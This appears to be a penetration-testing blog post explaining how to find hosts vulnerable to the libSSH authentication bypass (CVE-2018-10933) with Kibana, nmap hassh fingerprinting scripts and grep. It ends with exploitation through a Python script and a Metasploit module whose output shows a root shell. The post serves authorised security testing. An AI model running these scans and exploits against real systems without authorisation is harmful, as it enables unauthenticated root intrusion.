Reading time ~4 minutes
Hunt for and Exploit the libSSH Authentication Bypass (CVE-2018-10933)
- 1. Find Hosts Running SSH
- 2. Identify hosts running libSSH
- 3. Identify hosts vulnerable to CVE-2018-10933
- 4. Exploitation
On the 16th of October 2018, an important security release from libssh
has been published in order to address CVE-2018-10933:
libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials.
The bug was discovered by Peter Winter-Smith of NCC Group.
Since then, many people started debating on Twitter about causes and impact. So here I want to writeup a practical guide which explains how to find hosts (in your network) vulnerable to the libSSH Authentication Bypass, and how to exploit them to gain shell access.
Scripts and Kibana Visualizations used in this article can be found on Github: https://github.com/marco-lancini/hunt-for-cve-2018-10933.
1. Find Hosts Running SSH
Let’s say you are in the middle of an engagement and want to find all hosts running libSSH
.
At this point you might have already run a few scans to identify open ports,
so the first step is to identify all ssh-based services.
I usually load all my nmap scan results to Offensive ELK,
which allows me to use Kibana to query and quickly sift through huge amounts of data.
In this case, I created a new visualization that allows me to export IP
:PORT
combinations to a CSV file:
- First, I added a filter to select only services with containing the keyword
ssh
:

- Second, I added a bucket where rows are split by the field
ip.keyword
:

- Finally, I added a sub-bucket where rows are furtherly split by the field
port.keyword
:

This gave me a table like the one shown below, with a combination of IP
:PORT
.
Next, I exported the table to CSV by clicking on the “Formatted” button at the bottom of the page.

Open the CSV file, delete the headers, and insert the following formula in cell E1
to concatenate the PORT
(B
) and IP
(A
) columns, with a space in the middle, so that later we can parse these strings with nmap:
=B1&" "&A1

Apply the formula to all cells in column E
, then export this column to a txt file for convenience (targets.txt
).
2. Identify hosts running libSSH
The ssh-hassh
NSE script can be used to identify both the
hasshServer
(i.e., SSH Server Fingerprint) and the hasshServerAlgorithms
for our target SSH servers.
Grab the NSE script and place it in the scripts
folder of your nmap installation (usually this should be located at /usr/share/nmap/scripts/
).
Next, we have to run the ssh-hassh
script against every host contained in our target list:
nmap --script ssh-hassh -p <PORT> <IP>
To speed up things I created a quick (and dirty) bash script to iterate through every line of the target list, as well as saving scan results to a folder:
❯ cat scan_hassh.sh
# ------------------- CHECK ARGUMENTS
if [[ $# -ne 1 ]] ; then
echo "Usage: $0 <sourcefile>"
exit 1
fi
OUT_DIR="./results/"
SOURCEFILE=$1
# ------------------- CREATE OUTPUT FOLDER
echo "[+] Creating output directory: $OUT_DIR"
mkdir -p $OUT_DIR
# ------------------- PARSE SOURCE FILE
while IFS='' read -r line || [[ -n "$line" ]]; do
ip_path=${line/ /_} # Replace space with underscore
output="${OUT_DIR}${ip_path}"
# ------------------- PERFORM SCAN
printf "[+] Scan: $ip_path \t-->\t $output\n"
nmap -v -Pn -n --script ssh-hassh -p${line} -oN $output
done < $SOURCEFILE
Run it and let it do its job (it might take a while, depending on the size of your target list):
$ ./scan_hassh.sh targets.txt
3. Identify hosts vulnerable to CVE-2018-10933
On GitHub, an analysis of the Censys Public Scan to estimate the number of servers potentially vulnerable to this bug has already been published.
From this analysis, we can obtain the most common hasshServer
values for each libssh
version.
Here I reported a snapshot, but refer to the original Gist for updates:
hasshServer | Server Identification String |
---|---|
489e30454fb8c5bdc15e54b24a80d109 | SSH-2.0-libssh-0.6.0 |
300791d5ac0d0fe0c11c7591e1216691 | SSH-2.0-libssh-0.6.0, SSH-2.0-libssh-0.6.3 |
5415e306f43f87ee2a5b9e5211eaefac | SSH-2.0-libssh_0.7.0 |
6b52d83483f50b8f01f406a47b0c730c | SSH-2.0-libssh_0.7.0 |
6e3fb87b7382dbced382641f012ced5e | SSH-2.0-libssh-0.7.0 |
525f9e1788267b077b6e2b2529492905 | SSH-2.0-libssh-0.7.0 |
e80597ec7cbc1477a68bd9117d87dfdd | SSH-2.0-libssh-0.7.2, SSH-2.0-libssh-0.7.3 |
bf8ae9cb26a1222fe7b9323edd6f8814 | SSH-2.0-libssh-0.6.0, SSH-2.0-libssh-0.6.1, SSH-2.0-libssh-0.6.3 |
85a34ecc072b7fee11a05e8208ffc2a2 | SSH-2.0-libssh_0.7.0 |
3cec38e362b52f605c3f619d2fa898a9 | SSH-2.0-libssh-0.6.0 |
e5c1da26cdde67ec7b2a7759b13b6d28 | SSH-2.0-libssh-0.6.5 |
50a0624954cdf5c897aac12b66688dec | SSH-2.0-libssh_0.7.5 |
c251cb842064997a986c1bc145aec3bd | SSH-2.0-libssh-0.6.0, SSH-2.0-libssh-0.7.0, SSH-2.0-libssh-0.7.1 |
a3c5503aaac766fe70067eb7d7114046 | SSH-2.0-libssh_0.7.5 |
a957df03ca15a1f0f532f55cb031d4a0 | SSH-2.0-libssh-0.6.3 |
ff0e73523bfc6173fc6029705689efa5 | SSH-2.0-libssh_0.7.5 |
59553fa7f7cd28b35246771fa9a493ea | SSH-2.0-libssh-0.7.3 |
9e706fd7cb4747756448bbc74e27220b | SSH-2.0-libssh-0.6.0 |
7f0ad9c1c1b97136bb439aee56427bea | SSH-2.0-libssh-0.7.2 |
c5e3f21bfd616e32afee0563dc27880d | SSH-2.0-libssh-0.7.3 |
We now just have to cross-check these fingerprints against our nmap scan results.
Probably, the quickest way consist in putting the hasshServer
values into a text file (hashes.txt
)
and then grep
for them within the nmap results folder.
Here I created another quick bash script to automate this process:
❯ cat grep_hashes.sh
OUT_DIR="./results/"
HASHES="./hashes.txt"
for h in $(cat $HASHES)
do
printf "[+] Looking for: $h\n"
grep -R $h $OUT_DIR
done
❯ ./grep_hashes.sh
[+] Looking for: 489e30454fb8c5bdc15e54b24a80d109
...
4. Exploitation
The manual way
If you identify any vulnerable server, the libSSH-Authentication-Bypass repository contains a python script that will allow you to spawn to shell without any credentials by exploiting CVE-2018-10933.
Grab a copy of libsshauthbypass.py and run it against the vulnerable servers:
❯ libsshauthbypass.py --host <IP> --port <PORTx>
The Metasploit way
A new module has been added to Metasploit to exploit this issue: auxiliary/scanner/ssh/libssh_auth_bypass
:
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > options
Module options (auxiliary/scanner/ssh/libssh_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_BANNER true no Check banner for "libssh"
CMD no Command to execute
RHOSTS 10.10.100.4 yes The target address range or CIDR identifier
RPORT 22 yes The target port
SPAWN_PTY true no Spawn a PTY
THREADS 1 yes The number of concurrent threads
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run
[*] 10.10.100.4:22 - Attempting authentication bypass
[*] Command shell session 1 opened (10.10.100.20:54267 -> 10.10.100.4:22) at 2018-10-22 20:31:21
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1
[*] Starting interaction with 1...
# id
id
uid=0(root) gid=0(root) groups=0(root)